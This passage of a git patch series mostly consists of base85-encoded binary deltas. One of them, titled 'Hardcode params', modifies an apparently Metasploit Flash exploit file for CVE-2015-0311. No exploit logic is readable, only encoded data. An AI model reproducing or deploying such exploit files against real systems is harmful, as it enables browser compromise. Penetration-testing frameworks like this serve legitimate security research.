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 Date: Tue, 26 May 2015 14:20:43 -0500 Subject: [PATCH 0192/1013] Hardcode params --- data/exploits/CVE-2015-0311/msf.swf | Bin 20391 -> 20417 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/data/exploits/CVE-2015-0311/msf.swf b/data/exploits/CVE-2015-0311/msf.swf index 1859166717e68a7ee652eeac54c667c7de9f34f5..2af1bcae87d26c5512e73c560154364dfa41162f 100644 GIT binary patch delta 20294 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 